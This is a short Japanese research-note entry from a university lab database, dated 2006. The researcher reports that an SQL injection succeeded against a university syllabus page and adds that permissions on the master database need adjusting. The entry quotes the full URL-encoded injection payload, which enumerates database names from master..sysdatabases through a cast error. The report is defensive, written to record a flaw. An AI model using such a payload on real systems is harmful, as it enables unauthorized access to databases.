|
ID | ⇒#332@研究ノート; |
要約 | 【研究ノート】下記のURLでSQLインジェクシ⇒#332@研究ノート; |
日時 | 記録=2006/1/6, 修正=2006/1/6 |
研究者 | 立花 和宏 |
リンク | 関連外部URL=http://c1.yz.yam…, 学認共有URL=, 講義 研究 発表 業績 テーマ 製品 計算式 |
内容 | 下記のURLでSQLインジェクションが成立したようです。 http://syllabus-pub.yz.… DSN=ElectroChem&nTableID=2&nExtID=0%20And%20(Select%20Top%201%20cast ([name]%20as%20varchar(8000))%20from(Select%20Top%201%20dbid,name%20from%20 [master]..[sysdatabases]%20order%20by%20[dbid])%20T%20order%20by%20[dbid]% 20desc)>0
今日は、風邪で具合がわるいので、ひとまず、報告だけです。
masterの権限調整もいるみたいですね。 |
HyperLink
|
|